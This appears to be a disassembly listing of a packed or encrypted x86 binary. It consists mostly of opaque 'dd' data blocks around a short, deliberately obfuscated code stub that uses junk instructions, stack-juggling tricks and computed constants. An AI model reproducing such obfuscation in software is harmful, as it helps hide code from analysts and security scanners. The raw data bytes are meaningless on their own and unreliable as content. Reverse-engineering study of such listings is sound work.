		dd 0F11A8895h, 0AED9096Ch, 5DE5D612h, 29BE3F74h, 0BC12C259h
		dd 0E6552546h, 0A6F0734Eh, 689F87ECh, 0AFFC8112h, 6FB93C85h
		dd 6E806D6Ch, 0AAF453B2h, 668767F1h, 3DDE4CDDh,	11668758h
		dd 4ADBD080h, 7D1E68C7h, 51668758h, 5B8B10C0h, 0E3EC120h
		dd 40C77790h, 8B347EDDh, 67668758h, 57D026D6h, 0DFE62A36h
		dd 5927B0AAh, 1BC06h, 6089FE00h, 0A73A7DBh, 0B5D85185h
		dd 6380FC30h, 1071AADEh, 0A20AF28Bh, 4F830879h
		dd 0FE32B7D6h, 0AADE6384h, 0FB8E1374h, 5289327Ch, 62659367h
		dd 0E1007BF4h, 91FA285Ch, 4AA90Ch, 9545C75Fh, 5EF2A233h
		dd 6CEFD262h, 40ADDD0Dh, 0B929D970h, 9760C623h,	0C5F57809h
		dd 0C45B2B5Ah, 3844F741h, 992A6CA7h, 0F0A717E9h, 0EF6CA738h
		dd 0D336BD1Eh, 0C4B8FA4Ch, 0B4h, 0E4057B32h, 2445BE14h
		dd 6A9FCF54h, 77E35303h, 4D9545CCh, 3CFBA4EEh, 46D76ABAh
		dd 0A9C24096h, 59B2F024h, 0A71A1A89h, 6595C524h, 3D9128F8h
		dd 3FD6A6C7h, 2B651F8Fh, 0FA8B689Fh, 0B50C2875h, 0C9F6E832h
		dd 0CB5C6E80h, 7EEF1848h, 2B5AC5F9h, 0AA35E51Fh, 0B5E2CB0h
		dd 0E9h, 88DFC2Bh, 0B237A4D4h, 5DE20B7Eh, 0B90FD29h, 0B83DACD7h
		dd 54CF371Fh, 17CB035h,	0F12B5FE4h, 0A9D70B90h,	0A928BB40h
		dd 6751BC5Fh, 218F9293h, 5EE1007Bh, 0C797F02Eh,	0C747F842h
		dd 9A2B9545h, 9ACE5505h, 0E2800364h, 0FB44D11Dh, 5F9BE69Ch
		dd 627A35F7h, 0CB3DC474h, 14E4057Bh, 0A22740BEh, 54D7306Eh
		dd 0D787F424h, 58E61C50h, 0BE69B856h, 0BB8B201Ch, 0D41F0C4Bh
		dd 3A53D198h, 0BBEB146Ah, 0BE8E2342h, 0D03D68h,	0B415C869h
		dd 4979DC7Dh, 49E0B0DDh, 6D63C499h, 1D51D637h, 31B686E7h
		dd 0B1D788D2h, 2ABB6E2Ah, 9DF8247Ah, 3802D7FFh,	0BC2ACB2Ah
		dd 6E2AB903h, 5649FEFh,	74099E35h, 1C7D52A4h, 0A8FF826h
		dd 0BC3FA8D6h, 0C7EE281Eh, 0C676EA58h, 0FA1F4h,	4C0F0000h
		dd 872CC8AEh, 0CD21C483h, 0AC843451h, 0DD0C7B1Ch, 2049B70Dh
		dd 5F80FA50h, 0A1CC398Fh, 0E1007BD1h, 2140BB11h, 6283FB51h
		dd 0A0CD3C92h, 0DD0E7AD0h, 8951560Dh, 4C181E1h,	50000000h
		dd 4B8h, 58C12900h, 5C240C87h, 315268h,	24148900h, 70AF68h
		dd 240C8900h, 183CB951h, 2DBA2FD7h, 81D64B6Ah, 0FC1A30C2h
		dd 81CA011Bh, 0FC1A30EAh, 0EC81591Bh, 4, 83242489h, 59042404h
		dd 601868h, 24148900h, 13242C81h, 8F028D26h, 41810841h
		dd 8D261308h, 2434FF02h, 4C48159h, 8B000000h, 89502414h
		dd 405E0h, 0C0830000h, 24048704h, 0AE15E95Ch, 6933FFFBh
		dd 1F3BBA93h, 9BE18FBh,	22975EB8h, 0FFC50306h, 0CB3BBEE0h
		dd 0C02E9D5Fh, 0F40CFC6Ah, 3DFD5040h, 786AF01h,	4C97711Ah
		dd 292EC276h, 38615E68h, 2C7BE840h, 64CA3B30h, 3A5F556Ch
		dd 5CF4EC05h, 1ACFB21Fh, 52BEB14Eh, 0FFDC7035h,	0BC8F0642h
		dd 2353D84Ch, 456CAD45h, 0C3EDCD31h, 0C79C1C2Fh, 6A171A24h
		dd 2D0B4C64h, 0A4B62B20h, 75BC6633h, 0D31FB478h, 864A9F11h
		dd 0A57DCB71h, 55AF1567h, 0B94B1357h, 3A029020h, 970DE400h
		dd 12E84Eh, 0F7830000h,	0D50A814Eh, 4BF756F6h, 0C71332DCh
		dd 4C7FB3D0h, 5890Fh, 83B90000h, 5E5984BEh, 0DE85356h
		dd 67000000h, 0C7FEE962h, 80A1F895h, 0A5BA5D6Ch, 815B5B59h
		dd 6C51C6h, 0C0BF0F00h,	0BAh, 0C2806000h, 34FF6167h, 870F5732h
		dd 2, 5F585951h, 0CE9h,	0C3191000h, 0FD4A9158h,	0AC862EF6h
		dd 90EF81D2h, 8B6298F8h, 0C6F781D8h, 810C442Fh,	10FD36F7h
		dd 0F57F83Eh, 148Ch, 0FE900h, 0E1840000h, 0DABFA2BDh, 5D33C453h
		dd 0BC365167h, 16048FB8h, 8BC88B66h, 3EA83CEh, 6CB86660h
		dd 0F54A6195h, 9488FA81h, 850FFFFFh, 12h, 0E9CA8B66h, 1Fh
		dd 0C4912AC9h, 91EA6BC9h, 81668404h, 0E9C61DE1h, 0FFFFFF76h
		dd 6325A575h, 0D3F837E3h, 0E8FAF0B3h, 0Bh, 0E48A81CEh
		dd 0C9D4831Ch, 810D81DBh, 0D96BF6DAh, 0BB665876h, 0C0813DA5h
		dd 7465h, 0B9D6B70Fh, 1CF0h, 71BE6652h,	30FF5E14h, 0FE957h
		dd 0F3470000h, 59AD0CBDh, 349D069Fh, 11FF97BDh,	0FC5F5A95h
		dd 7164C781h, 820F3A90h, 5, 0D8BF0F51h,	64F7815Eh, 8B3FC081h
		dd 54C781D8h, 0F4636B1h, 58Bh, 0DEC7BE00h, 8F573ACCh, 12E900h
		dd 69BC0000h, 0AEAD4BB6h, 5D2B79E2h, 0DA1E3DEFh, 0A27FA9ECh
		dd 38E5E881h, 880F62E5h, 0
		dd 38E1C081h, 0BA6662E5h, 0F49F7D1h, 0FFFF8585h, 3ABA66FFh
		dd 2DEB1Ch, 0D0000000h,	9CBFAE0Dh, 0F9DFF231h, 88A7A5ADh
		dd 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h, 9D8993h, 67268168h
		dd 3B2BD14h, 70A76331h,	0AA2E9h, 9B596800h, 73E90622h
		dd 68FFFAE5h, 6229CCBh,	0FAE569E9h, 9D9968FFh, 5FE90622h
		dd 68FFFAE5h, 6229E45h,	0FAE555E9h, 9F1B68FFh, 4BE90622h
		dd 68FFFAE5h, 622A02Ah,	0FAE541E9h, 0A10868FFh,	37E90622h
		dd 68FFFAE5h, 622A296h,	0FAE52DE9h, 0A38968FFh,	23E90622h
		dd 81FFFAE5h, 7811BBB9h, 6A03ADBBh, 5EF7A1CBh, 4FE892D6h
		dd 63DB85E7h, 0E587AF84h, 0DB95A23Bh, 0D0A09831h, 0C0B48D26h
		dd 0C9E3016h, 23603CF8h, 0EF1CA309h, 0EE5D7959h, 7D95D22Eh
		dd 66AFCACh, 0E01F25F6h, 7B581023h, 24F573C0h, 7633C3C6h
		dd 8A1AAABEh, 17DC9CE6h, 33E59566h, 4FADBF76h, 1FC9AB96h
		dd 64CFBB86h, 0FCAF9342h, 0D1A2CB17h, 0B6732300h, 0AD8BE98Bh
		dd 0B749F99Fh, 0E6FB8924h, 9D5A0ABBh, 6E20D0A4h, 0FEADC8DCh
		dd 0CA28D9D6h, 0DDB88922h, 0FEADBB4Bh, 0C69748D6h, 763309E9h
		dd 0FEADD0E4h, 5F30E1D6h, 8E4BFDAFh, 0A737C7A9h, 34D6FEADh
		dd 0FE972583h, 1DECF9DFh, 35B3F96Ch, 9772E728h,	8CDF8h
		dd 0F57FBB00h, 0E781B24Bh, 0DB91A43Dh, 0CC9C9831h, 0BFAD8922h
		dd 0E9DE9D15h, 0DC751F4Dh, 0D26B155Bh, 0C7600A66h, 6A50FA7Ah
		dd 3DB646D8h, 0DD432360h, 0D6621F56h, 8E583B0h,	4F086637h
		dd 0EAA582F2h, 0B5731D57h, 0BC510167h, 908596FCh, 2DDB394Dh
		dd 4595969Bh, 9C4CFD1Fh, 5453BB07h, 61BFAE24h, 60E2F686h
		dd 0FC39DCA1h, 69D89370h, 2DF55E49h, 0AF80C195h, 43D77BD2h
		dd 119A32Bh, 1C6B6A84h,	4611EDh, 0CE630000h, 8A63E27Ah
		dd 2A9075Bh, 8B3B59EFh,	45A580F9h, 89AB681Fh, 0D33102DFh
		dd 7C725DD0h, 0CE30FD59h, 0D531CB4Ch, 0F7A77823h, 0A0EA5165h
		dd 0E0B162DCh, 0EA677303h, 5FE9DCA0h, 7020CABBh, 0E857ED1Dh
		dd 0B0000000h, 6A472D14h, 353BFDBAh, 0D4989D58h, 4AECA503h
		dd 0D8954522h, 82320F5Dh, 42A6DCF0h, 6B3CED25h,	87ED540Dh
		dd 501C1AD7h, 0E55C17F2h, 7B6894CDh, 7A4B4EE6h,	8A5B62D0h
		dd 9FA22542h, 0E09D2BD5h, 0FCB51361h, 72522F45h, 7E10C0A4h
		dd 1F4596F3h, 7BF145E0h, 0F44200AAh, 4D8468CEh,	7243A29Ah
		dd 0B6D530C2h, 0B566E6AAh, 2DC15305h, 0BED681F6h, 4F01AF0Dh
		dd 0F6FB0B9Dh, 6D08D681h, 77D5A6CAh, 831578BEh,	0D681F673h
		dd 54FECF80h, 0D42F7BBBh, 0C6AE9392h, 938518E9h, 0FA6D3E52h
		dd 0E103E7EEh, 5B51F0CBh, 49000007h, 40D983F1h,	32CB75F3h
		dd 26BF6903h, 17B05A0Eh, 2BA34D1Fh, 0ADBF774Ch,	0A3CD6A03h
		dd 98D860F9h, 88EC55EEh, 0D466F8DEh, 23603AC0h,	14E46BD1h
		dd 0DD9A4A22h, 64351256h, 7CC55E06h, 0EFC74EF8h, 0F98B3B59h
		dd 1F45A580h, 0D5856213h, 0B4A9CB40h, 0E947FADCh, 0A0304F5Bh
		dd 0D347D1DCh, 1DAA38B2h, 0A53FEDh, 1F980000h, 0B9D4D48Ah
		dd 0F4523CFFh, 916E063Bh, 2F0C60D6h, 42F0069Fh,	1262DF25h
		dd 272CF68h, 91F74525h,	0EC224FE1h, 0B11F45h, 0C9A39350h
		dd 15BD1BECh, 0F3A3C157h, 0AB651561h, 191EDBE6h, 4BA97A57h
		dd 2AE79748h, 0FEB0600Ch, 8125586Ch, 0FDB869D6h, 8758353Bh
		dd 4EE88129h, 8B89AB1Eh, 15F0E103h, 68D76h, 0B5BF7B00h
		dd 0A7C1720Bh, 9BD164FDh, 8CDC58F1h, 7FED49E2h,	0A99E5DD5h
		dd 9C35DF8Dh, 922BD59Bh, 8720CAA6h, 2A10BABAh, 3BF60698h
		dd 9D032360h, 4A221416h, 3A3A07A0h, 0F2450290h,	1479207Eh
		dd 0AF6A472Dh, 3040F892h, 0B347B55Fh, 652542A6h, 0FF71C7D7h
		dd 0D0805122h, 0D86A2313h, 2542A6C4h, 765324D5h, 79947A5h
		dd 1F252C99h, 0BD6D1Eh,	0F0893341h, 66462351h, 681F2D0h
		dd 651DA05Eh, 13C888FFh, 0DA6D3E58h, 0DC91FEBCh, 84340545h
		dd 91AC40D2h, 8C3DDC9Fh, 87EE802Eh, 14E69899h, 0EEC8F063h
		dd 0F6D1E106h, 5E157h, 96BCF00h, 0FB6DC65Fh, 0EF7DB851h
		dd 0E088AC45h, 0D3999D36h, 0FDF2B129h, 0F0893339h, 0E67F2947h
		dd 0DB741E52h, 7E640E66h, 384A5AECh, 0F1572360h, 472D146Ah
		dd 0E292AF6Ah, 75B49D32h, 33C81E9Bh, 70FAFAD5h,	0B450E5AAh
		dd 0D6E678B5h, 0E3254261h, 0F58A9F32h, 0A99851AFh, 678921CBh
		dd 0DC14FFB7h, 0D904982Ah, 56DF2542h, 63683916h, 10E054B2h
		dd 32000000h, 0EE4B859Dh, 7AD81171h, 1A830D3h, 1F8B0000h
		dd 0BC99D362h, 0EBFF8DEBh, 4D2542A6h, 708E1FB8h, 76D42C69h
		dd 36E68298h, 25E86BA4h, 4FFFB01Fh, 15C5AF92h, 0B390E058h
		dd 8C5D7103h, 0BD6EDC9Ch, 4DE68EECh, 0C3A380F4h, 0CD5F0F75h
		dd 0E69B8460h, 8FDD58F3h, 9D10E1B2h, 0E105F82Fh, 0B94330Eh
		dd 0F9000005h, 0F0893341h, 0E27B2543h, 0D66F1953h, 0C7600A5Eh
		dd 0DB53FD6Fh, 5D0F271Ch, 531D1AB3h, 482810A9h,	383C059Eh
		dd 8416A88Eh, 23603970h, 14941B81h, 30FF852Dh, 43C0CA88h
		dd 35C80789h, 0C49573BCh, 5F152CE7h, 0FA7AC782h, 9BD5621Dh
		dd 687C0EBEh, 792542ABh, 998105C8h, 0CF4BD5D5h,	3EE88CB5h
		dd 0FF3104A6h, 73314h, 308C0000h, 0E2h,	0D3621F8Bh, 8DEBBC99h
		dd 221199AFh, 0E8D51F84h, 0B081490Eh, 813102D3h, 257783EFh
		dd 0AF5F101Fh, 63B4FF2h, 0DEBBB184h, 8E5F3C0Dh,	0C88513BDh
		dd 0E8A1FF6Dh, 5E3E1B59h, 6AFCACC8h, 0E6F8ED59h, 1C6ED36Eh
		dd 0A5765319h, 5526F7D4h, 0AF41F3A5h, 0D6F9811Fh, 5B6BFBACh
		dd 68D6F981h, 0F9AB59B7h, 6822B764h, 9A099CCCh,	1CD533E6h
		dd 0E29F4F25h, 68391652h, 78C9620Ah, 0E93F1FFCh, 0F8D593A1h
		dd 0D1E57727h, 0E2D6F92Dh, 1EB06031h, 0ECFE5F77h, 0C80F3A4h
		dd 3DE728B0h, 3FCC362h,	50EA0000h, 52E17A24h, 62D36C16h
		dd 6DC7600Ah, 7EB851FBh, 0EFCC44EEh, 0A44E1E18h, 9A442C0Bh
		dd 8F393701h, 7F294BF6h, 61750799h, 72236006h, 3C30850Ch
		dd 84000001h, 50E5A7EFh, 39FF9446h, 0B8895A37h,	59EFB35Ah
		dd 0B9F98B3Bh, 1A1F252Ch, 39FCB969h, 6A27D533h,	0E781B3D7h
		dd 0B868390Ah, 7DEB4906h, 0AF3FCFA0h, 3CDC9FC0h, 0F7852D8Bh
		dd 0C023B345h, 3DB0DC9Fh, 0C1E6F49Dh, 0BC7748A4h, 0DD96F47Ch
		dd 53331064h, 5DEF9FC5h, 0E6F8614Ah, 4300B061h,	0F10597FEh
		dd 2D6F815h, 3BD08051h,	0BB082DFh, 30D836C4h, 1D53E5A2h
		dd 5A3B06BFh, 0F81B34C8h, 45270FD6h, 8E1EB040h,	1BD6F81Bh
		dd 18C8996Ah, 3391DB5Bh, 0C6A27858h, 69898416h,	590AECFFh
		dd 297E5CE6h, 53F2CDE7h, 31Eh, 9C462E0Ch, 8E383003h, 822C40F5h
		dd 731D4BE9h, 66105CDAh, 0FC3A31EEh, 0A2DC670h,	1523BC66h
		dd 2918B15Bh, 29BBA14Bh, 60070797h, 0A72E9423h,	6A472D14h
		dd 5E292AFh, 0E59F7B05h, 0D66E185Ch, 14FF3CD4h,	4A63h
		dd 59EFBC00h, 18F98B3Bh, 0D01F455Ah, 0EB492313h, 0CA8737E8h
		dd 3FA43B77h, 903DC1CBh, 0B311E2BFh, 0B4BE5305h, 4E1DD965h
		dd 9C9952B0h, 21B826D0h, 0FCDCA044h, 0EC852F45h, 0C1732349h
		dd 0A0449F2Fh, 1D7B2CDCh, 28CA342h, 14FE0000h, 0B46F4C24h
		dd 0A43DE78Dh, 6A27D79Dh, 0F4C5A2CEh, 4100BB96h, 70C68333h
		dd 38F69EFCh, 24D686E2h, 6730008Fh, 96714E2h, 456CF67Bh
		dd 0F542DD1Fh, 0FCCD9E7Bh, 637B8F1Fh, 7B05DCA1h, 0FDC4E69Fh
		dd 5173ED1Ch, 0CC000000h, 8B3B59EFh, 45A580F9h,	0B262131Fh
		dd 4C293FF5h, 0B2421D7Bh, 0DCA05926h, 512E42F5h, 59FF0FA1h
		dd 5B0CDCA0h, 831294A0h, 8770ECB0h, 6A2D0ADBh, 0B23A34E6h
		dd 1993F228h, 20ED1D2Bh, 0B5h, 9E2EC072h, 2BDCA0ADh, 0F375BF7Ah
		dd 40E74516h, 6A472D14h, 3044FDBAh, 4F1D19D2h, 0EA8AB772h
		dd 85EF520Dh, 0A4506DDBh, 23B82542h, 1E8C7DC3h,	0B26BC91Bh
		dd 1814238Fh, 19D0B87Bh, 3C059E48h, 0A683E54Eh,	472704D5h
		dd 51E393F1h, 0E0BA37F4h, 6E2CD687h, 7A0CBCD8h,	0E6AAD18Ah
		dd 0F9B66617h, 0EC852F3Dh, 5FAF224Ah, 0FAE1041Fh, 190801Fh
		dd 0BC7E0000h, 0BE750EB8h, 0CE6700AAh, 0D95BF49Eh, 0EA4CE58Fh
		dd 8360D882h, 38E28AACh, 2ED8989Fh, 23CDA395h, 13BDB78Ah
		dd 0F5099B2Dh, 6236004h, 221419A0h, 0BC99D760h,	0D7701AEBh
		dd 0D2600A6Ah, 0EE4C2015h, 0D5621F47h, 0C95F3D9Bh, 0A9F6E2E9h
		dd 72433BCAh, 0CC5E10C2h, 25427338h, 2CBA18C9h,	1F4570FDh
		dd 4757E99Bh, 54DCA172h, 914245A3h, 729424B4h, 109ADCA1h
		dd 0E8717B0Ah, 0AE08ED1Ch, 61000000h, 50688A1Fh, 40F8C525h
		dd 5C1829E2h, 2212CF7Fh, 72FE846h, 0EDF88865h, 3825422Dh
		dd 28C16B09h, 9E7E5B19h, 50360288h, 0D5A683F1h,	0F1833304h
		dd 1F451294h, 9C67627h,	9364412Fh, 79CF8D35h, 84D96B1Bh
		dd 17E6AB35h, 3DF9B666h, 9C79EF45h, 621DFACBh, 68C697D1h
		dd 4939FDBAh, 0D2A380ECh, 78BE5701h, 362B81F4h,	0BF9AE103h
		dd 9D20h, 0C5AF8B00h, 0B7B1821Bh, 0ABC1740Dh, 9CCC6801h
		dd 8FDD59F2h, 0B98E6DE5h, 0AC45EF7Dh, 0A23BE58Bh, 9730DA96h
		dd 3A20CAAAh, 58616A8h,	0AD132360h, 60221426h, 1CC697D5h
		dd 0CB6BE83h, 472D1485h, 0E292AF6Ah, 0C8AC7A38h, 2C228618h
		dd 0FEAF1F25h, 0FA0A9C4Eh, 7DC9FC0h, 621DF856h,	52EB95DFh
		dd 0F8A885EFh, 1674FC3Bh, 6086D188h, 7AA024B6h,	933D370Ah
		dd 502D47FAh, 0ECC99F95h, 5B29F195h, 2CDE8EE6h,	15390A9Ah
		dd 88E697A6h, 7AFA47E0h, 8FE9Dh, 5D590000h, 2642F2AFh
		dd 261421C8h, 8BB6714Eh, 0E7510CE9h, 46F1AC89h,	0A4924D2Ah
		dd 630EBC8h, 66CE8966h,	0CB6A2502h, 2A09C4A1h
		db 3Eh,	61h, 9Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	56F4h
		mov	[esp], edx
		push	ebx
		mov	ebx, 1BF37772h
		add	ebx, 70D65823h
		push	ebp
		mov	ebp, 3EB50236h
		inc	ebp
		add	ebp, 31EC3C21h
		xor	ebp, 0FA4A6B5Eh
		xor	ebx, ebp
		pop	ebp
		mov	eax, ebx
		pop	ebx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, eax
		mov	ecx, ebp
		pop	ebp
		mov	[edx+8], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_544162
; ---------------------------------------------------------------------------
		db 0A7h
		dd 0D8C74B40h, 0D73059B4h, 0B8E219C1h, 622A44Bh, 0E0FFC503h
		dd 704F4FA8h, 5CE12E1Fh, 121C784Eh, 7FE7A19h, 68F305E1h
		dd 4ECC0438h, 1D7EE100h, 169F330Ah, 44D9F9EEh, 46865B18h
		dd 4246BA3Bh, 32BA2F25h, 33FBB139h, 556B1753h, 46B77F2Dh
		dd 0B8414B4h, 699B09DCh, 101E0845h, 4C806880h, 87F9920h
		dd 38C027BEh, 795F72C1h, 47265E82h, 4F2E5827h, 52F22967h
		dd 8ED959Bh, 6858456Fh,	6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 1DEB0CC3h, 0F51E7B6h
		dd 880FD1BFh, 0Ah, 0C3816660h, 0B70F8A35h, 0BD8361FEh
		dd 61D1669h, 83097500h,	1D0121BDh, 19740006h, 0C08B5350h
		dd 3FCB8h, 69858900h, 8D061D2Ah, 1FA63D9Dh, 5BD3FF06h
		dd 21BD8358h, 61D01h, 53501774h, 3FCB8h, 69858900h, 8D061D2Ah
		dd 1FA32C9Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0DF8B66C0h, 0D890F60h
		dd 0E9000000h, 8, 8A16F884h, 1D4676F3h,	0F9C08B61h, 0EE96060h
		dd 0B2000000h, 0DF3F6BDCh, 0F4CED3C5h, 9416EA5Eh, 0E95261DBh
		dd 0Fh,	0F737F8DBh, 6B01B372h, 65DC54E2h, 5F6FCADDh, 0C1BD8361h
		dd 1061D31h, 3D840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 6627E5C3h, 0BD83DF8Bh
		dd 61D0559h, 10850F00h,	0F5000000h, 26C9BD83h, 0F00061Dh
		dd 9A84h, 0E9DA8B00h, 497h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0D3C35545h, 3C68768h,	0F5F18A11h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0CBC35545h
		dd 0D88B6659h, 6AD9BF0Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 78D9C350h, 2D63EF23h
		dd 0E81C1004h, 12h, 3F26DD29h, 5C36B1E0h, 84B2F11Dh, 16DC8F19h
		dd 7E950A6h, 77000000h,	7F8ACA36h, 725A339Dh, 0DD196270h
		dd 0A9BEDBC3h, 0FFBEB22Dh, 3CE091C5h, 0DBCA389Bh, 0DBFA30C1h
		dd 0FFBEACC1h, 3CE8F7C5h, 9887601Bh, 248E1C88h,	0EB57E41Bh
		dd 26BEB1C5h, 0DFAACE0Eh, 26294607h, 25D9F1F6h,	0F01CAEh
		dd 7259088Bh, 0DFF62F40h, 0ADBEDBC3h, 0FFBEB22Dh, 3CE491C5h
		dd 0DBEA389Fh, 0DBFA30C1h, 0FFBEADC1h, 3CECF3C5h, 9CC5B7E0h
		dd 0D7BA349Ch, 0FFAC5962h, 7B5FB1C5h, 0E1C91B43h, 0EAF052A9h
		dd 278779DDh, 0DE681AA3h, 0A4680ECAh, 9C2C5244h, 2F4183CEh
		dd 17EEB1AFh, 0FFBEB1C6h, 0A77DE9E5h, 0FB9AF54Ch, 0FB9AF544h
		dd 0FFBEB1D1h, 0EE7DE185h, 166E3AA3h, 0FFBEB51Dh, 7A056A73h
		dd 0AAE02366h, 0FFBEB12Dh, 123FECC5h, 0F99C161Ch, 17E8B1AFh
		dd 0FFBEB1C6h, 0A17DEFE5h, 0FB9AC54Ch, 0FB9AF544h, 0FFBEB1D0h
		dd 2F7DE783h, 2901BEA2h, 0FFBEA12Ch, 0C6ADBDC5h, 0C13E7244h
		dd 51B69097h, 2F470752h, 0AABEDB30h, 0FFBEB22Dh, 3CE391C5h
		dd 0DBD23898h, 0DBFA30C1h, 0FFBEA7C1h, 3CEBF4C5h, 16D2A8E6h
		dd 0FFBEB1D7h, 8227E1F3h, 1F83874h, 0DCD4D43h, 31653103h
		dd 8F0D7809h, 746506CAh, 0ACBEDB05h, 0FFBEB22Dh, 3CE591C5h
		dd 0DBE2389Eh, 0DBFA30C1h, 0FFBEA5C1h, 3CEDF2C5h, 0F05749FAh
		dd 7DBEB1C5h, 926C9557h, 0C2B051F3h, 802459E2h,	243FB0A8h
		dd 0B8C71537h, 0F700D195h, 9E97C3E0h, 959AB54Ch, 0FC56E7C5h
		dd 0DFBEB1C5h, 76E0729Bh, 7EBA95B1h, 0EBBA9581h, 0B9BEB1C5h
		dd 49527293h, 0FFB85849h, 0C491B1C5h, 793919F7h, 0FFBEBD2Dh
		dd 991F97C5h, 82099617h, 0CAAC14Ah, 0F0E5481Dh,	19AFDC4h
		dd 17E8B1AFh, 0FFBEB1C6h, 0A17DEFE5h, 0FB9AC54Ch, 0FB9AF544h
		dd 0FFBEB1D9h, 367DE783h, 77E8403Ch, 5162B6D9h,	0FA643A9Dh
		dd 0FFBEB3C9h, 17E9B1AFh, 0FFBEB1C6h, 0A07DEEE5h, 0FB9ACD4Ch
		dd 0FB9AF544h, 0FFBEB1D1h, 0AA7DE682h, 0FFBEB72Ch, 85C231C5h
		dd 74B60C92h, 0ACBEDBCDh, 0FFBEB22Dh, 3CE591C5h, 0DBE2389Eh
		dd 0DBFA30C1h, 0FFBEA7C1h, 3CEDF2C5h, 16C133ECh, 0FFBEB1D5h
		dd 0E49EB242h, 2EC2DCD5h, 8216996Ah, 0C7F408Fh,	3F63AA3h
		dd 0FFB236CAh, 77B1B1C5h, 0FFBEB1C3h, 0FFBE33CAh, 0FE06B1C5h
		dd 0ABEB1C5h, 0ADEE5E73h, 0FFB25995h, 0D6A5B1C5h, 0D07E38B6h
		dd 9FA92E75h, 0A4E573D3h, 0DBB2389Eh, 115A6B44h, 73D8C990h
		dd 2D3FD71Ch, 3E484C57h, 0DC3BBEC1h, 0A6BEB1C4h, 0F433BE93h
		dd 17BEB1C5h, 0FFBEB1C0h, 0BE82DCh, 7FE5EBC5h, 7AB1D9FCh
		dd 0FFBEB0E4h, 17EDB1AFh, 0FFBEB1C6h, 0A47DEAE5h, 0FB9AED4Ch
		dd 0FB9AF544h, 0FFBEB1D8h, 3F7DE286h, 0FD117A6Ch, 716063C2h
		dd 0FFB05884h, 665BB1C5h, 8151B9FDh, 5E03B77Ah,	0AEC1B16h
		dd 0FFBE31CAh, 8635B1C5h, 0FFAA59C4h, 0EE29B1C5h, 51E2C8B8h
		dd 0D5576786h, 5D81E974h, 0A5AE63FCh, 25359CBAh, 0FF41309Eh
		dd 0F03EB1C5h, 0FFBE0947h, 0AFBEDBC5h, 0FFBEB22Dh, 3CE691C5h
		dd 0DBFA389Dh, 0DBFA30C1h, 0FFBEA9C1h, 3CEEF1C5h, 518E2BCEh
		dd 2135D70Ah, 59163402h, 0FFBFB7E7h, 0FFD4B1C5h, 0FFBD5992h
		dd 0A09EB1C5h, 8337EE06h, 0BB3FB5E1h, 0FFA6B5E1h, 0A8F9B1C5h
		dd 2093A506h, 77B1E226h, 0FFBEB1C6h, 16646A45h,	0FFBEB1CEh
		dd 6CF25336h, 0A86C874Ah, 16ADFE60h, 0FFBEB1BAh, 6E722D7Eh
		dd 0FFFD58C0h, 0FFD4B1C5h, 0FFBD5996h, 0A49EB1C5h, 0A337EA06h
		dd 0BB3FB5E1h, 0FFA4B5E1h, 0ACFDB1C5h, 3D998606h, 3A191841h
		dd 0C3FD730h, 0F0E779D9h, 7CD8677Ah, 0F041BABCh, 0FFBEBD41h
		dd 386F3AC5h, 0DD181940h, 0FFBEB0C3h, 0FFD4F9C5h, 0FFBD5992h
		dd 0A09EB1C5h, 8337EE06h, 0BB3FB5E1h, 0FFA3B5E1h, 0A8F9B1C5h
		dd 0B7AB4F06h, 4EE21BB8h, 164BA83Fh, 0FFBEB1C2h, 3EDF3346h
		dd 46D8A286h, 0DD9A6D3Fh, 534D3448h, 4233B7E7h,	0F99C1AF2h
		dd 0F8CA49FEh, 366FBEF5h, 954B5A82h, 0FC56E4C5h, 0DFBEB1C5h
		dd 76E37298h, 7EBA95A9h, 0EBBA9581h, 0BABEB1C5h, 99267290h
		dd 45052E7Fh, 838464C6h, 17EBB1AFh, 0FFBEB1C6h,	0A27DECE5h
		dd 0FB9ADD4Ch, 0FB9AF544h, 0FFBEB1DDh, 0EC7DE480h, 0A6CCE49Ch
		dd 0BA370A94h, 7CE5B942h, 0E28F7078h, 7BB1B0C3h, 0FFBEB19Ch
		dd 423D454Fh, 0F9A3B49Ch, 0B53BBEC5h, 95BEB1C5h, 0FC56E1C5h
		dd 0DFBEB1C5h, 76E6729Dh, 7EBA9581h, 0E5BA9581h, 0BFBEB1C5h
		dd 4BD97295h, 2AAC132Bh, 3603324Bh, 0FFB8ACE3h,	0FF9A35CAh
		dd 7EDEB1C5h, 9DE1DE32h, 0FFB559DBh, 0F416B1C5h, 35A61643h
		dd 6163E099h, 0A7E1E1CDh, 0FF0858A4h, 45D8B1C5h, 423DBE20h
		dd 0F9A38004h, 0A13BBEC4h, 16BEB1C5h, 0FFBEB1CAh, 6F461FA6h
		dd 99B16B96h, 41D695E5h, 0A280351Ch, 17EFB1AFh,	0FFBEB1C6h
		dd 0A67DE8E5h, 0FB9AFD4Ch, 0FB9AF544h, 0FFBEB1D1h, 4D7DE084h
		dd 595430A3h, 2635D715h, 16F50606h, 0FFBEB1A1h,	17EEB1AFh
		dd 0FFBEB1C6h, 0A77DE9E5h, 0FB9AF54Ch, 0FB9AF544h, 0FFBEB1D0h
		dd 0D17DE185h, 0FFD4EC2Ch, 0FFBD5995h, 0A79EB1C5h, 0BB37E906h
		dd 0BB3FB5E1h, 0FFA5B5E1h, 0AFFEB1C5h, 94323806h, 41A0C88Ah
		dd 0FFD47EF2h, 0FFBD5996h, 0A49EB1C5h, 0A337EA06h, 0BB3FB5E1h
		dd 0FFA6B5E1h, 0ACFDB1C5h, 3BB58706h, 0F90D3D6Eh, 58A90C48h
